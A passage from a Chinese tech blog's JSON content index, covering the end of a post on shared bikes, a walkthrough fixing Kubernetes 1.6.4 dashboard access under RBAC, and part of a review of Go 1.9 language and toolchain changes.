很多人把车一直骑到小区里自己家的单元门门口，其实也无可厚非。但是这样一来在小区外找单车的人由于无法进入小区，而无法骑行，导致资源浪费。尤其是夜间。记得上个月大半夜从火车车站出来，本想找辆单车骑行回家，结果按照GPS上的位置寻找，车都在封闭小区里面（前提是这里投放的单车还很少），害得我白白走了近1km的路，最后还是打车回家的； 大多数人还是非常自觉的。比如：在我们小区门口不干扰行人、车辆正常通行的空闲区且便于取车的地方，就规整地停放着一排单车，这显然是周围居民的自觉行为。即便是放在小区里，也自觉停放在非机动车停车处。 二、骑后感想 共享单车快速发展的这一年多，围绕着共享单车社会上出现了各种“恶意破坏单车事件”，针对这些事件，社会上也出现了各种“照妖镜论”：“国民素质照妖镜”、“人性照妖镜”、“社会照妖镜”等。中国社会正在处于从发展到发达的转型期。国民的素质自然也是处在一个上升期。若非要将当前国民素质平均水平与那些有着几百年资本主义发展史的欧美国家相比，自然还有差距，况且欧美国家国民素质就真的就那么高么？\n就共享单车的用户群体而言，绝大多数骑行者都是能自律的，少部分人的低素质行为是难以撼动主流正能量的。\n另外，从新生事物发展的角度来看，从“混乱无序”到“合理有序”，再到“优化升级”需要一个过程。移动支付、滴滴出行又有哪个不是如此的呢？和移动支付等类似，共享单车也开始逐渐倒逼政府在规划城市交通基础设施时，切实将单车出行的需求重点考虑进去了，设计和实施合理且安全的自行车车道，甚至是自行车高速路（据说北京已考虑试点）。\n中国的共享单车虽然概念来自国外，但中国目前应该走在了世界的前头，是中国又一项可能值得国外友人“羡慕”的生活便利服务(其他两项：高铁、移动支付)。\n三、共享单车的前景 共享单车作为一种便民的行业服务刚刚起步，还处于其行业发展的初级阶段。社会已经开始接受并适应拥有共享单车服务的生活了。但随着人们对共享单车概念理解的深入，必将对单车行业提出更进一步的需求：\n车的舒适性需进一步改善 现在的单车服务仅是满足了用户解决“最后一公里”问题初步需求，算是“温饱”阶段。就如我上面骑行体验的那样，当前的单车在骑行舒适度方面做得还不够好，还有很大的提升空间。车身重量、座椅舒适度、骑行安全等都将是单车服务公司重点要考虑解决的问题。\n骑行者需求细分和差异化 需求细分和差异化是单车发展的必然趋势。就如现在黄金单车、巨无霸单车（宽胎、带变速器）的出现恰是这方面的试水。将来针对不同区域、不同地形地貌、不同区域特色（比如寒冷的东北地区）、不同经济特点区域（比如热门旅游城市）、不同人群必将推出细分的单车服务，以满足差异化的用户群体需求。\n车辆投放的进一步合理和均衡 一面“车满为患”，一面“车可罗雀”，一个城区单车实时分布的不均衡导致了此“怪现象”，导致了资源利用率不高。随着单车服务公司在设备和算法方面的逐步改进，通过算法对单车进行进一步的合理分布，并通过实时费用调节机制，让用户“主动”顺应单车的目标规划分布，让单车“合理流动”，达到均衡之势。\n与政府的深度合作 在国内，一个行业要想蓬勃壮大，离不开政府的身影。尤其是单车这种公共交通服务，与政府深度合作是必由之路，移动支付、打车软件无不如此。毫不夸张的说，政府垄断了交通规划、设计、实施的所有资源，作为城市交通出行补充手段、绿色典范的共享单车如果能够和政府顺畅合作，以推动提升社会整体交通效率、低碳出行、绿色出行为目标，便可以使得政府手握的资源的有效利用率大幅提升，从而也会给市民们单车出行的带来更好的体验。\n四、小结 曾几何时，中国是世界第一的自行车大国，但国人从未因此而骄傲。共享单车的出现一改自行车大国大而不强的局面，使得中国成为了引领世界的绿色出行的典范。共享单车逐渐成为中国城市人民生活中不可或缺的一部分。在可预见的未来，共享单车将与共享汽车(包括无人驾驶的共享电动汽车)、无人公交/地铁等一并成为人们出行的主要方式。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/07/24/ride-a-shared-bike/","summary":"\u003cp\u003e上周日下午14:00，应\u003ca href=\"http://daughter.tonybai.com/\"\u003e孩子\u003c/a\u003e班主任老师的要求，我到学校开家长会。周末天气不算太热，学校离家的路程也不算远，于是我决定放弃开车，\u003ca href=\"https://baike.baidu.com/item/%E7%BB%BF%E8%89%B2%E5%87%BA%E8%A1%8C/212352\"\u003e绿色出行\u003c/a\u003e^0^。去的时候乘坐的是今年沈城刚刚更换的电动公交车(好像是双动力)，回来时，我则第一次体验了\u003ca href=\"https://en.wikipedia.org/wiki/Bicycle-sharing_system\"\u003e共享单车\u003c/a\u003e（骑的是\u003ca href=\"https://mobike.com/cn/\"\u003e摩拜单车\u003c/a\u003e）。\u003c/p\u003e\n\u003cp\u003e共享单车，对于中国一线城市和二线中心城市的人们来说早已不是啥新鲜事物了。共享单车进入沈城的时间相比一线是要晚一些时间的，并且最初只有绿色的\u003ca href=\"http://www.coolqi.com/\"\u003e酷奇单车\u003c/a\u003e一种，直到今年年初\u003ca href=\"http://www.ofo.so/\"\u003eofo\u003c/a\u003e、\u003ca href=\"https://mobike.com/cn/\"\u003e摩拜\u003c/a\u003e相继开始在这里投放，共享单车出行才逐渐在沈城的年轻人中间流行开来。不过，和一线城市重点地区（比如北京的清华园门口）的单车“车满为患”相比，二线城市的单车投放量还显不足，依旧是供不应求。\u003c/p\u003e","title":"体验共享单车"},{"content":"前一段时间将之前采用kubeadm安装的Kubernetes 1.5.1环境升级到了1.6.4版本，升级过程较为顺利。由于该k8s cluster是一个测试环境，当时并没有过于关注，就忙别的事情了。最近项目组打算在这个环境下做一些事情，而当我们重新“捡起”这个环境时，发现Kubernetes Dashboard无法访问了。\nKubernetes的dashboard可以有很多种访问方式，比如：可以通过暴露nodeport的方式(无身份验证，不安全)、可以通过访问apiserver的api服务的方式等。我们的Dashboard通过APIServer进行访问：\nhttps://apiserver_ip:secure_port/ui 正常情况下通过浏览器访问：https://apiserver_ip:secure_port/ui，浏览器会弹出身份验证对话框，待输入正确的用户名和密码后，便可成功进入Dashboard了。但当前，我们得到的结果却是：\nUser \u0026quot;system:anonymous\u0026quot; cannot proxy services in the namespace \u0026quot;kube-system\u0026quot;. 而访问apiserver(https://apiserver_ip:secure_port/)得到的结果如下：\nUser \u0026quot;system:anonymous\u0026quot; cannot get at the cluster scope. 一、问题原因分析 k8s 1.6.x版本与1.5.x版本的一个很大不同在于1.6.x版本启用了RBAC的Authorization mode(授权模型)，这点在K8s master init的日志中可以得到证实：\n# kubeadm init --apiserver-advertise-address xx.xx.xx ... ... [init] Using Kubernetes version: v1.6.4 [init] Using Authorization mode: RBAC [preflight] Running pre-flight checks [preflight] Starting the kubelet service [certificates] Generated CA certificate and key. [certificates] Generated API server certificate and key .... ... [apiconfig] Created RBAC rules [addons] Created essential addon: kube-proxy [addons] Created essential addon: kube-dns Your Kubernetes master has initialized successfully! ... ... 在《Kubernetes集群的安全配置》一文中我们提到过Kubernetes API server的访问方法：\nAuthentication(身份验证) -\u0026gt; Authorization（授权）-\u0026gt; Admission Control(入口条件控制) 只不过在Kubernetes 1.5.x及以前的版本中，Authorization的环节都采用了默认的配置，即”AlwaysAllow”，对访问APIServer并不产生什么影响：\n# kube-apiserver -h ... ... --authorization-mode=\u0026quot;AlwaysAllow\u0026quot;: Ordered list of plug-ins to do authorization on secure port. Comma-delimited list of: AlwaysAllow,AlwaysDeny,ABAC,Webhook,RBAC ... ... 但K8s 1.6.x版本中，–authorization-mode的值发生了变化：\n# cat /etc/kubernetes/manifests/kube-apiserver.yaml spec: containers: - command: - kube-apiserver - --allow-privileged=true ... ... - --basic-auth-file=/etc/kubernetes/basic_auth_file - --authorization-mode=RBAC ... ... 注：这里我们依旧通过basic auth方式进行apiserver的Authentication，而不是用客户端数字证书校验等其他方式。\n显然问题的原因就在于这里RBAC授权方式的使用，让我们无法正常访问Dashboard了。\n二、Kubernetes RBAC Authorization简介 RBAC Authorization的基本概念是Role和RoleBinding。Role是一些permission的集合；而RoleBinding则是将Role授权给某些User、某些Group或某些ServiceAccount。K8s官方博客《RBAC Support in Kubernetes》一文的中的配图对此做了很生动的诠释：\n从上图中我们可以看到：\nRole: pod-reader 拥有Pod的get和list permissions；\nRoleBinding: pod-reader 将Role: pod-reader授权给右边的User、Group和ServiceAccount。\n和Role和RoleBinding对应的是，K8s还有ClusterRole和ClusterRoleBinding的概念，它们不同之处在于：ClusterRole和ClusterRoleBinding是针对整个Cluster范围内有效的，无论用户或资源所在的namespace是什么；而Role和RoleBinding的作用范围是局限在某个k8s namespace中的。\nKubernetes 1.6.4安装时内建了许多Role/ClusterRole和RoleBinds/ClusterRoleBindings：\n# kubectl get role -n kube-system NAME AGE extension-apiserver-authentication-reader 50d system:controller:bootstrap-signer 50d system:controller:token-cleaner 50d # kubectl get rolebinding -n kube-system NAME AGE system:controller:bootstrap-signer 50d system:controller:token-cleaner 50d # kubectl get clusterrole NAME AGE admin 50d cluster-admin 50d edit 50d system:auth-delegator 50d system:basic-user 50d system:controller:attachdetach-controller 50d ... ... system:discovery 50d system:heapster 50d system:kube-aggregator 50d system:kube-controller-manager 50d system:kube-dns 50d system:kube-scheduler 50d system:node 50d system:node-bootstrapper 50d system:node-problem-detector 50d system:node-proxier 50d system:persistent-volume-provisioner 50d view 50d weave-net 50d # kubectl get clusterrolebinding NAME AGE cluster-admin 50d kubeadm:kubelet-bootstrap 50d kubeadm:node-proxier 50d kubernetes-dashboard 50d system:basic-user 50d system:controller:attachdetach-controller 50d ... ... system:controller:statefulset-controller 50d system:controller:ttl-controller 50d system:discovery 50d system:kube-controller-manager 50d system:kube-dns 50d system:kube-scheduler 50d system:node 50d system:node-proxier 50d weave-net 50d 三、Dashboard的role和rolebinding Kubernetes 1.6.x启用RBAC后，诸多周边插件也都推出了适合K8s 1.6.x的manifest描述文件，比如：weave-net等。Dashboard的manifest文件中也增加了关于rolebinding的描述，我当初用的是1.6.1版本，文件内容摘录如下：\n// kubernetes-dashboard.yaml apiVersion: v1 kind: ServiceAccount metadata: labels: k8s-app: kubernetes-dashboard name: kubernetes-dashboard namespace: kube-system --- apiVersion: rbac.authorization.k8s.io/v1beta1 kind: ClusterRoleBinding metadata: name: kubernetes-dashboard labels: k8s-app: kubernetes-dashboard roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: kubernetes-dashboard namespace: kube-system ... ... 我们看到在kubernetes-dashboard.yaml中，描述文件新建了一个ClusterRoleBinding：kubernetes-dashboard。该binding将ClusterRole: cluster-admin授权给了一个ServiceAccount: kubernetes-dashboard。我们看看ClusterRole: cluster-admin都包含了哪些permission:\n# kubectl get clusterrole/cluster-admin -o yaml apiVersion: rbac.authorization.k8s.io/v1beta1 kind: ClusterRole metadata: annotations: rbac.authorization.kubernetes.io/autoupdate: \u0026quot;true\u0026quot; creationTimestamp: 2017-05-30T14:06:39Z labels: kubernetes.io/bootstrapping: rbac-defaults name: cluster-admin resourceVersion: \u0026quot;11\u0026quot; selfLink: /apis/rbac.authorization.k8s.io/v1beta1/clusterrolescluster-admin uid: 331c79dc-4541-11e7-bc9a-12584ec3a8c9 rules: - apiGroups: - '*' resources: - '*' verbs: - '*' - nonResourceURLs: - '*' verbs: - '*' 可以看到，在rules设定中，cluster-admin似乎拥有了“无限”权限。不过注意：这里仅仅授权给了一个service account，并没有授权给user或group。并且这里的kubernetes-dashboard是dashboard访问apiserver时使用的(下图右侧流程)，并不是user访问APIServer时使用的。\n我们需要给登录dashboard或者说apiserver的user(图左侧)进行授权。\n四、为user: admin进行授权 我们的kube-apiserver的启动参数中包含：\n- --basic-auth-file=/etc/kubernetes/basic_auth_file 也就是说我们访问apiserver使用的是basic auth的身份验证方式，而user恰为admin。而从本文开头的错误现象来看，admin这个user并未得到足够的授权。这里我们要做的就是给admin选择一个合适的clusterrole。但kubectl并不支持查看user的信息，初始的clusterrolebinding又那么多，一一查看十分麻烦。我们知道cluster-admin这个clusterrole是全权限的，我们就来将admin这个user与clusterrole: cluster-admin bind到一起：\n# kubectl create clusterrolebinding login-on-dashboard-with-cluster-admin --clusterrole=cluster-admin --user=admin clusterrolebinding \u0026quot;login-on-dashboard-with-cluster-admin\u0026quot; created # kubectl get clusterrolebinding/login-on-dashboard-with-cluster-admin -o yaml apiVersion: rbac.authorization.k8s.io/v1beta1 kind: ClusterRoleBinding metadata: creationTimestamp: 2017-07-20T08:57:07Z name: login-on-dashboard-with-cluster-admin resourceVersion: \u0026quot;5363564\u0026quot; selfLink: /apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindingslogin-on-dashboard-with-cluster-admin uid: 686a3f36-6d29-11e7-8f69-00163e1001d7 roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - apiGroup: rbac.authorization.k8s.io kind: User name: admin binding后，我们再来访问一下dashboard UI，不出意外的话，熟悉的dashboard界面就会出现在你的眼前。\n注：Kubernetes API Server新增了–anonymous-auth选项，允许匿名请求访问secure port。没有被其他authentication方法拒绝的请求即Anonymous requests， 这样的匿名请求的username为”system:anonymous”, 归属的组为”system:unauthenticated”。并且该选线是默认的。这样一来，当采用chrome浏览器访问dashboard UI时很可能无法弹出用户名、密码输入对话框，导致后续authorization失败。为了保证用户名、密码输入对话框的弹出，需要将–anonymous-auth设置为false：\n// /etc/kubernetes/manifests/kube-apiserver.yaml - --anonymous-auth=false 用curl测试结果如下：\n$curl -u admin:YOUR_PASSWORD -k https://apiserver_ip:secure_port/ { \u0026quot;paths\u0026quot;: [ \u0026quot;/api\u0026quot;, \u0026quot;/api/v1\u0026quot;, \u0026quot;/apis\u0026quot;, \u0026quot;/apis/apps\u0026quot;, \u0026quot;/apis/apps/v1beta1\u0026quot;, \u0026quot;/apis/authentication.k8s.io\u0026quot;, \u0026quot;/apis/authentication.k8s.io/v1\u0026quot;, \u0026quot;/apis/authentication.k8s.io/v1beta1\u0026quot;, \u0026quot;/apis/authorization.k8s.io\u0026quot;, \u0026quot;/apis/authorization.k8s.io/v1\u0026quot;, \u0026quot;/apis/authorization.k8s.io/v1beta1\u0026quot;, \u0026quot;/apis/autoscaling\u0026quot;, \u0026quot;/apis/autoscaling/v1\u0026quot;, \u0026quot;/apis/autoscaling/v2alpha1\u0026quot;, \u0026quot;/apis/batch\u0026quot;, \u0026quot;/apis/batch/v1\u0026quot;, \u0026quot;/apis/batch/v2alpha1\u0026quot;, \u0026quot;/apis/certificates.k8s.io\u0026quot;, \u0026quot;/apis/certificates.k8s.io/v1beta1\u0026quot;, \u0026quot;/apis/extensions\u0026quot;, \u0026quot;/apis/extensions/v1beta1\u0026quot;, \u0026quot;/apis/policy\u0026quot;, \u0026quot;/apis/policy/v1beta1\u0026quot;, \u0026quot;/apis/rbac.authorization.k8s.io\u0026quot;, \u0026quot;/apis/rbac.authorization.k8s.io/v1alpha1\u0026quot;, \u0026quot;/apis/rbac.authorization.k8s.io/v1beta1\u0026quot;, \u0026quot;/apis/settings.k8s.io\u0026quot;, \u0026quot;/apis/settings.k8s.io/v1alpha1\u0026quot;, \u0026quot;/apis/storage.k8s.io\u0026quot;, \u0026quot;/apis/storage.k8s.io/v1\u0026quot;, \u0026quot;/apis/storage.k8s.io/v1beta1\u0026quot;, \u0026quot;/healthz\u0026quot;, \u0026quot;/healthz/ping\u0026quot;, \u0026quot;/healthz/poststarthook/bootstrap-controller\u0026quot;, \u0026quot;/healthz/poststarthook/ca-registration\u0026quot;, \u0026quot;/healthz/poststarthook/extensions/third-party-resources\u0026quot;, \u0026quot;/healthz/poststarthook/rbac/bootstrap-roles\u0026quot;, \u0026quot;/logs\u0026quot;, \u0026quot;/metrics\u0026quot;, \u0026quot;/swaggerapi/\u0026quot;, \u0026quot;/ui/\u0026quot;, \u0026quot;/version\u0026quot; ] } 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/07/20/fix-cannot-access-dashboard-in-k8s-1-6-4/","summary":"\u003cp\u003e前一段时间将之前\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e采用kubeadm安装的Kubernetes 1.5.1\u003c/a\u003e环境升级到了\u003ca href=\"https://github.com/kubernetes/kubernetes/releases/tag/v1.6.4\"\u003e1.6.4版本\u003c/a\u003e，升级过程较为顺利。由于该k8s cluster是一个测试环境，当时并没有过于关注，就忙别的事情了。最近项目组打算在这个环境下做一些事情，而当我们重新“捡起”这个环境时，发现\u003ca href=\"http://tonybai.com/2017/01/19/install-dashboard-addon-for-k8s/\"\u003eKubernetes Dashboard\u003c/a\u003e无法访问了。\u003c/p\u003e","title":"解决Kubernetes 1.6.4 Dashboard无法访问的问题"},{"content":"Go语言在2016年当选tiobe index的年度编程语言。\n转眼间6个月过去了，Go在tiobe index排行榜上继续强势攀升，在最新公布的TIBOE INDEX 7月份的排行榜上，Go挺进Top10：\n还有不到一个月，Go 1.9版本也要正式Release了（计划8月份发布），当前Go 1.9的最新版本是go1.9beta2，本篇的实验环境也是基于该版本的，估计与final go 1.9版本不会有太大差异了。在今年的GopherChina大会上，我曾提到：Go已经演进到1.9，接下来是Go 1.10还是Go 2? 现在答案已经揭晓：Go 1.10。估计Go core team认为Go 1还有很多待改善和优化的地方，或者说Go2的大改时机依旧未到。Go team的tech lead Russ Cox将在今年的GopherCon大会上做一个题为”The Future of Go”的主题演讲，期待从Russ的口中能够得到一些关于Go未来的信息。\n言归正传，我们还是来看看Go 1.9究竟有哪些值得我们关注的变化，虽然我个人觉得Go1.9的变动的幅度并不是很大^0^。\n一、Type alias Go 1.9依然属于Go1系，因此继续遵守Go1兼容性承诺。这一点在我的“值得关注的几个变化”系列文章中几乎每次都要提到。\n不过Go 1.9在语言语法层面上新增了一个“颇具争议”的语法: Type Alias。关于type alias的proposal最初由Go语言之父之一的Robert Griesemer提出，并计划于Go 1.8加入Go语言。但由于Go 1.8的type alias实现过于匆忙，测试不够充分，在临近Go 1.8发布的时候发现了无法短时间解决的问题，因此Go team决定将type alias的实现从Go 1.8中回退。\nGo 1.9 dev cycle伊始，type alias就重新被纳入。这次Russ Cox亲自撰写文章《Codebase Refactoring (with help from Go)》为type alias的加入做铺垫，并开启新的discussion对之前Go 1.8的general alias语法形式做进一步优化，最终1.9仅仅选择了type alias，而不需要像Go 1.8中general alias那样引入新的操作符(=\u0026gt;)。这样，结合Go已实现的interchangeable constant、function、variable，外加type alias，Go终于在语言层面实现了对“Gradual code repair(渐进式代码重构)”理念的初步支持。\n注：由于type alias的加入，在做Go 1.9相关的代码试验之前，最好先升级一下你本地编辑器/IDE插件（比如：vim-go、vscode-go）以及各种tools的版本。\n官方对type alias的定义非常简单：\nAn alias declaration binds an identifier to the given type.\n我们怎么来理解新增的type alias和传统的type definition的区别呢？\ntype T1 T2 // 传统的type defintion vs. type T1 = T2 //新增的type alias 把握住一点：传统的type definition创造了一个“新类型”，而type alias并没有创造出“新类型”。如果我们有一个名为“孙悟空”的类型，那么我们可以写出如下有意思的代码：\ntype 超级赛亚人 孙悟空 type 卡卡罗特 = 孙悟空 这时，我们拥有了两个类型：孙悟空和超级赛亚人。我们以孙悟空这个类型为蓝本定义一个超级赛亚人类型；而当我们用到卡卡罗特这个alias时，实际用的就是孙悟空这个类型，因为卡卡罗特就是孙悟空，孙悟空就是卡卡罗特。\n我们用几个小例子再来仔细对比一下：\n1、赋值 Go强调“显式类型转换”，因此采用传统type definition定义的新类型在其变量被赋值时需对右侧变量进行显式转型，否则编译器就会报错。\n//github.com/bigwhite/experiments/go19-examples/typealias/typedefinitions-assignment.go package main // type definitions type MyInt int type MyInt1 MyInt func main() { var i int = 5 var mi MyInt = 6 var mi1 MyInt1 = 7 mi = MyInt(i) // ok mi1 = MyInt1(i) // ok mi1 = MyInt1(mi) // ok mi = i //Error: cannot use i (type int) as type MyInt in assignment mi1 = i //Error: cannot use i (type int) as type MyInt1 in assignment mi1 = mi //Error: cannot use mi (type MyInt) as type MyInt1 in assignment } 而type alias并未创造新类型，只是源类型的“别名”，在类型信息上与源类型一致，因此可以直接赋值：\n//github.com/bigwhite/experiments/go19-examples/typealias/typealias-assignment.go package main import \u0026quot;fmt\u0026quot; // type alias type MyInt = int type MyInt1 = MyInt func main() { var i int = 5 var mi MyInt = 6 var mi1 MyInt1 = 7 mi = i // ok mi1 = i // ok mi1 = mi // ok fmt.Println(i, mi, mi1) } 2、类型方法 Go1中通过type definition定义的新类型，新类型不会“继承”源类型的method set：\n// github.com/bigwhite/experiments/go19-examples/typealias/typedefinition-method.go package main // type definitions type MyInt int type MyInt1 MyInt func (i *MyInt) Increase(a int) { *i = *i + MyInt(a) } func main() { var mi MyInt = 6 var mi1 MyInt1 = 7 mi.Increase(5) mi1.Increase(5) // Error: mi1.Increase undefined (type MyInt1 has no field or method Increase) } 但是通过type alias方式得到的类型别名却拥有着源类型的method set（因为本就是一个类型）,并且通过alias type定义的method也会反映到源类型当中：\n// github.com/bigwhite/experiments/go19-examples/typealias/typealias-method1.go package main type Foo struct{} type Bar = Foo func (f *Foo) Method1() { } func (b *Bar) Method2() { } func main() { var b Bar b.Method1() // ok var f Foo f.Method2() // ok } 同样对于源类型为非本地类型的，我们也无法通过type alias为其增加新method：\n//github.com/bigwhite/experiments/go19-examples/typealias/typealias-method.go package main type MyInt = int func (i *MyInt) Increase(a int) { // Error: cannot define new methods on non-local type int *i = *i + MyInt(a) } func main() { var mi MyInt = 6 mi.Increase(5) } 3、类型embedding 有了上面关于类型方法的结果，其实我们也可以直接知道在类型embedding中type definition和type alias的差异。\n// github.com/bigwhite/experiments/go19-examples/typealias/typedefinition-embedding.go package main type Foo struct{} type Bar Foo type SuperFoo struct { Bar } func (f *Foo) Method1() { } func main() { var s SuperFoo s.Method1() //Error: s.Method1 undefined (type SuperFoo has no field or method Method1) } vs.\n// github.com/bigwhite/experiments/go19-examples/typealias/typealias-embedding.go package main type Foo struct{} type Bar = Foo type SuperFoo struct { Bar } func (f *Foo) Method1() { } func main() { var s SuperFoo s.Method1() // ok } 通过type alias得到的alias Bar在被嵌入到其他类型中，其依然携带着源类型Foo的method set。\n4、接口类型 接口类型的identical的定义决定了无论采用哪种方法，下面的赋值都成立：\n// github.com/bigwhite/experiments/go19-examples/typealias/typealias-interface.go package main type MyInterface interface{ Foo() } type MyInterface1 MyInterface type MyInterface2 = MyInterface type MyInt int func (i *MyInt)Foo() { } func main() { var i MyInterface = new(MyInt) var i1 MyInterface1 = i // ok var i2 MyInterface2 = i1 // ok print(i, i1, i2) } 5、exported type alias 前面说过type alias和源类型几乎是一样的，type alias有一个特性：可以通过声明exported type alias将package内的unexported type导出：\n//github.com/bigwhite/experiments/go19-examples/typealias/typealias-export.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;github.com/bigwhite/experiments/go19-examples/typealias/mylib\u0026quot; ) func main() { f := \u0026amp;mylib.Foo{5, \u0026quot;Hello\u0026quot;} f.String() // ok fmt.Println(f.A, f.B) // ok // Error: f.anotherMethod undefined (cannot refer to unexported field // or method mylib.(*foo).anotherMethod) f.anotherMethod() } 而mylib包的代码如下：\npackage mylib import \u0026quot;fmt\u0026quot; type foo struct { A int B string } type Foo = foo func (f *foo) String() { fmt.Println(f.A, f.B) } func (f *foo) anotherMethod() { } 二、Parallel Complication(并行编译) Go 1.8版本的gc compiler的编译性能虽然照比Go 1.5刚自举时已经提升了一大截儿，但依然有提升的空间，虽然Go team没有再像Go 1.6时对改进compiler性能那么关注。\n在Go 1.9中，在原先的支持包级别的并行编译的基础上又实现了包函数级别的并行编译，以更为充分地利用多核资源。默认情况下并行编译是enabled，可以通过GO19CONCURRENTCOMPILATION=0关闭。\n在aliyun ECS一个4核的vm上，我们对比了一下并行编译和关闭并行的差别：\n# time GO19CONCURRENTCOMPILATION=0 go1.9beta2 build -a std real 0m16.762s user 0m28.856s sys 0m4.960s # time go1.9beta2 build -a std real 0m13.335s user 0m29.272s sys 0m4.812s 可以看到开启并行编译后，gc的编译性能约提升20%(realtime)。\n在我的Mac 两核pc上的对比结果如下：\n$time GO19CONCURRENTCOMPILATION=0 go build -a std real 0m16.631s user 0m36.401s sys 0m8.607s $time go build -a std real 0m14.445s user 0m36.366s sys 0m7.601s 提升大约13%。\n三、”./…”不再匹配vendor目录 自从Go 1.5引入vendor机制以来，Go的包依赖问题有所改善，但在vendor机制的细节方面依然有很多提供的空间。\n比如：我们在go test ./…时，我们期望仅执行我们自己代码的test，但Go 1.9之前的版本会匹配repo下的vendor目录，并将vendor目录下的所有包的test全部执行一遍，以下面的repo结构为例：\n$tree vendor-matching/ vendor-matching/ ├── foo.go ├── foo_test.go └── vendor └── mylib ├── mylib.go └── mylib_test.go 如果我们使用go 1.8版本，则go test ./…输出如下：\n$go test ./... ok github.com/bigwhite/experiments/go19-examples/vendor-matching 0.008s ok github.com/bigwhite/experiments/go19-examples/vendor-matching/vendor/mylib 0.009s 我们看到，go test将vendor下的包的test一并执行了。关于这点，gophers们在go repo上提了很多issue，但go team最初并没有理会这个问题，只是告知用下面的解决方法：\n$go test $(go list ./... | grep -v /vendor/) 不过在社区的强烈要求下，Go team终于妥协了，并承诺在Go 1.9中fix该issue。这样在Go 1.9中，你会看到如下结果：\n$go test ./... ok github.com/bigwhite/experiments/go19-examples/vendor-matching 0.008s 这种不再匹配vendor目录的行为不仅仅局限于go test，而是适用于所有官方的go tools。\n四、GC性能 GC在Go 1.9中依旧继续优化和改善，大多数程序使用1.9编译后都能得到一定程度的性能提升。1.9 release note中尤其提到了大内存对象分配性能的显著提升。\n在”go runtime metrics“搭建一文中曾经对比过几个版本的GC，从我的这个个例的图中来看，Go 1.9与Go 1.8在GC延迟方面的指标性能相差不大：\n五、其他 下面是Go 1.9的一些零零碎碎的改进，这里也挑我个人感兴趣的说说。\n1、Go 1.9的新安装方式 go 1.9的安装增加了一种新方式，至少beta版支持，即通过go get\u0026amp;download安装：\n# go get golang.org/x/build/version/go1.9beta2 # which go1.9beta2 /root/.bin/go18/bin/go1.9beta2 # go1.9beta2 version go1.9beta2: not downloaded. Run 'go1.9beta2 download' to install to /root/sdk/go1.9beta2 # go1.9beta2 download Downloaded 0.0% (15208 / 94833343 bytes) ... Downloaded 4.6% (4356956 / 94833343 bytes) ... Downloaded 34.7% (32897884 / 94833343 bytes) ... Downloaded 62.6% (59407196 / 94833343 bytes) ... Downloaded 84.6% (80182108 / 94833343 bytes) ... Downloaded 100.0% (94833343 / 94833343 bytes) Unpacking /root/sdk/go1.9beta2/go1.9beta2.linux-amd64.tar.gz ... Success. You may now run 'go1.9beta2' # go1.9beta2 version go version go1.9beta2 linux/amd64 # go1.9beta2 env GOROOT /root/sdk/go1.9beta2 go1.9 env输出支持json格式：\n# go1.9beta2 env -json { \u0026quot;CC\u0026quot;: \u0026quot;gcc\u0026quot;, \u0026quot;CGO_CFLAGS\u0026quot;: \u0026quot;-g -O2\u0026quot;, \u0026quot;CGO_CPPFLAGS\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;CGO_CXXFLAGS\u0026quot;: \u0026quot;-g -O2\u0026quot;, \u0026quot;CGO_ENABLED\u0026quot;: \u0026quot;1\u0026quot;, \u0026quot;CGO_FFLAGS\u0026quot;: \u0026quot;-g -O2\u0026quot;, \u0026quot;CGO_LDFLAGS\u0026quot;: \u0026quot;-g -O2\u0026quot;, \u0026quot;CXX\u0026quot;: \u0026quot;g++\u0026quot;, \u0026quot;GCCGO\u0026quot;: \u0026quot;gccgo\u0026quot;, \u0026quot;GOARCH\u0026quot;: \u0026quot;amd64\u0026quot;, \u0026quot;GOBIN\u0026quot;: \u0026quot;/root/.bin/go18/bin\u0026quot;, \u0026quot;GOEXE\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;GOGCCFLAGS\u0026quot;: \u0026quot;-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build750457963=/tmp/go-build -gno-record-gcc-switches\u0026quot;, \u0026quot;GOHOSTARCH\u0026quot;: \u0026quot;amd64\u0026quot;, \u0026quot;GOHOSTOS\u0026quot;: \u0026quot;linux\u0026quot;, \u0026quot;GOOS\u0026quot;: \u0026quot;linux\u0026quot;, \u0026quot;GOPATH\u0026quot;: \u0026quot;/root/go\u0026quot;, \u0026quot;GORACE\u0026quot;: \u0026quot;\u0026quot;, \u0026quot;GOROOT\u0026quot;: \u0026quot;/root/sdk/go1.9beta2\u0026quot;, \u0026quot;GOTOOLDIR\u0026quot;: \u0026quot;/root/sdk/go1.9beta2/pkg/tool/linux_amd64\u0026quot;, \u0026quot;PKG_CONFIG\u0026quot;: \u0026quot;pkg-config\u0026quot; } 2、go doc支持查看struct field的doc了 我们使用Go 1.8查看net/http包中struct Response的某个字段Status:\n# go doc net/http.Response.Status doc: no method Response.Status in package net/http exit status 1 Go 1.8的go doc会报错! 我们再来看看Go 1.9：\n# go1.9beta2 doc net/http.Response.Status struct Response { Status string // e.g. \u0026quot;200 OK\u0026quot; } # go1.9beta2 doc net/http.Request.Method struct Request { // Method specifies the HTTP method (GET, POST, PUT, etc.). // For client requests an empty string means GET. Method string } 3、核心库的变化 a) 增加monotonic clock支持 在2017年new year之夜，欧美知名CDN服务商Cloudflare的DNS出现大规模故障，导致欧美很多网站无法正常被访问。之后，Cloudflare工程师分析了问题原因，罪魁祸首就在于golang time.Now().Sub对时间的度量仅使用了wall clock，而没有使用monotonic clock，导致返回负值。而引发异常的事件则是新年夜际授时组织在全时间范围内添加的那个闰秒(leap second)。一般来说，wall clock仅用来告知时间，mnontonic clock才是用来度量时间流逝的。为了从根本上解决问题，Go 1.9在time包中实现了用monotonic clock来度量time流逝，这以后不会出现时间的“负流逝”问题了。这个改动不会影响到gopher对timer包的方法层面上的使用。\nb) 增加math/bits包 在一些算法编程中，经常涉及到对bit位的操作。Go 1.9提供了高性能math/bits package应对这个问题。关于bits操作以及算法，可以看看经典著作《Hacker’s Delight》。这里就不举例了。\nc) 提供了一个支持并发的Map类型 